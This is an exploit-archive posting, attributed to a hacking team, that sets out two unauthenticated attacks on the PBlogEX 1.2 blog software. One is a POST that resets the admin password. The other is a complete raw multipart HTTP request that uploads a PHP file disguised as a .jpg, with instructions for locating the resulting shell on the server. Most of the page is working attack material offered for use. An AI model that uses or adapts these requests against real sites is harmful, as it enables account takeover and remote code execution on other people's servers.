Home / exploits

PDF

PBlogEX 1.2 Shell Upload

Posted on 05 March 2011

# PBlogEX v1.2 Multiply Vulnerabilities

# vendor: http://www.twelvedev.com/
# By l3lack_lord
# WwW.Mokhareb.NeT
# Demo: http://f-ochoa.com/
# Tested On: Apache/2.2.9 - PHP/5.2.6
# Date: 2011/03/4

# Des:
# The Admin Password Change Not Authoritated for execute

# POC:
http://Site.com/PBlogEX/admin/admin.password.php
[POST]user=1&password=l3lack_lord

Now Password Will change to l3lack_lord
http://Site.com/PBlogEX/admin
u should gess admin user :)

#################################################################

# Des:
# Remote Shell uplode possible on this cms with no authetication in image.upload.php

# POC:
http://Site.com/PBlogEX/admin/image.upload.php
[POST]
Host: localhost
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.10) Gecko/20100914 Firefox/3.6.10
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://Site.com/PBlogEX/admin/admin.php
Content-Type: multipart/form-data; boundary=---------------------------225932708016080
Content-Length: 5775

-----------------------------225932708016080

Content-Disposition: form-data; name="filephoto"; filename="p.jpg.php"

Content-Type: image/jpeg



<?php

phpinfo();

?>

-----------------------------225932708016080

Content-Disposition: form-data; name="titlephoto"



aaa

-----------------------------225932708016080

Content-Disposition: form-data; name="descphoto"



aaa

-----------------------------225932708016080

Content-Disposition: form-data; name="Default1"



on

-----------------------------225932708016080

Content-Disposition: form-data; name="0"



f

-----------------------------225932708016080

Content-Disposition: form-data; name="1"



i

-----------------------------225932708016080

Content-Disposition: form-data; name="2"



l

-----------------------------225932708016080

Content-Disposition: form-data; name="3"



e

-----------------------------225932708016080

Content-Disposition: form-data; name="4"



p

-----------------------------225932708016080

Content-Disposition: form-data; name="5"



h

-----------------------------225932708016080

Content-Disposition: form-data; name="6"



o

-----------------------------225932708016080

Content-Disposition: form-data; name="7"



t

-----------------------------225932708016080

Content-Disposition: form-data; name="8"



o

-----------------------------225932708016080

Content-Disposition: form-data; name="9"



=

-----------------------------225932708016080

Content-Disposition: form-data; name="10"



p

-----------------------------225932708016080

Content-Disposition: form-data; name="11"



.

-----------------------------225932708016080

Content-Disposition: form-data; name="12"



j

-----------------------------225932708016080

Content-Disposition: form-data; name="13"



p

-----------------------------225932708016080

Content-Disposition: form-data; name="14"



g

-----------------------------225932708016080

Content-Disposition: form-data; name="15"



&

-----------------------------225932708016080

Content-Disposition: form-data; name="16"



t

-----------------------------225932708016080

Content-Disposition: form-data; name="17"



i

-----------------------------225932708016080

Content-Disposition: form-data; name="18"



t

-----------------------------225932708016080

Content-Disposition: form-data; name="19"



l

-----------------------------225932708016080

Content-Disposition: form-data; name="20"



e

-----------------------------225932708016080

Content-Disposition: form-data; name="21"



p

-----------------------------225932708016080

Content-Disposition: form-data; name="22"



h

-----------------------------225932708016080

Content-Disposition: form-data; name="23"



o

-----------------------------225932708016080

Content-Disposition: form-data; name="24"



t

-----------------------------225932708016080

Content-Disposition: form-data; name="25"



o

-----------------------------225932708016080

Content-Disposition: form-data; name="26"



=

-----------------------------225932708016080

Content-Disposition: form-data; name="27"



a

-----------------------------225932708016080

Content-Disposition: form-data; name="28"



a

-----------------------------225932708016080

Content-Disposition: form-data; name="29"



a

-----------------------------225932708016080

Content-Disposition: form-data; name="30"



&

-----------------------------225932708016080

Content-Disposition: form-data; name="31"



d

-----------------------------225932708016080

Content-Disposition: form-data; name="32"



e

-----------------------------225932708016080

Content-Disposition: form-data; name="33"



s

-----------------------------225932708016080

Content-Disposition: form-data; name="34"



c

-----------------------------225932708016080

Content-Disposition: form-data; name="35"



p

-----------------------------225932708016080

Content-Disposition: form-data; name="36"



h

-----------------------------225932708016080

Content-Disposition: form-data; name="37"



o

-----------------------------225932708016080

Content-Disposition: form-data; name="38"



t

-----------------------------225932708016080

Content-Disposition: form-data; name="39"



o

-----------------------------225932708016080

Content-Disposition: form-data; name="40"



=

-----------------------------225932708016080

Content-Disposition: form-data; name="41"



a

-----------------------------225932708016080

Content-Disposition: form-data; name="42"



a

-----------------------------225932708016080

Content-Disposition: form-data; name="43"



a

-----------------------------225932708016080

Content-Disposition: form-data; name="44"



&

-----------------------------225932708016080

Content-Disposition: form-data; name="45"



D

-----------------------------225932708016080

Content-Disposition: form-data; name="46"



e

-----------------------------225932708016080

Content-Disposition: form-data; name="47"



f

-----------------------------225932708016080

Content-Disposition: form-data; name="48"



a

-----------------------------225932708016080

Content-Disposition: form-data; name="49"



u

-----------------------------225932708016080

Content-Disposition: form-data; name="50"



l

-----------------------------225932708016080

Content-Disposition: form-data; name="51"



t

-----------------------------225932708016080

Content-Disposition: form-data; name="52"



1

-----------------------------225932708016080

Content-Disposition: form-data; name="53"



=

-----------------------------225932708016080

Content-Disposition: form-data; name="54"



o

-----------------------------225932708016080

Content-Disposition: form-data; name="55"



n

-----------------------------225932708016080--



copy file name in error that will print..like 2011-03-02_7032_p.jpg.php
Shell Path :
http://Site.com/PBlogEX/images/2011-03-02_7032_p.jpg.php


# Virangar Security Team , DeltaHacking TEam , Aria-Security
# tnX t0 mY cronies Hares And Netw0rm :-*

 

TOP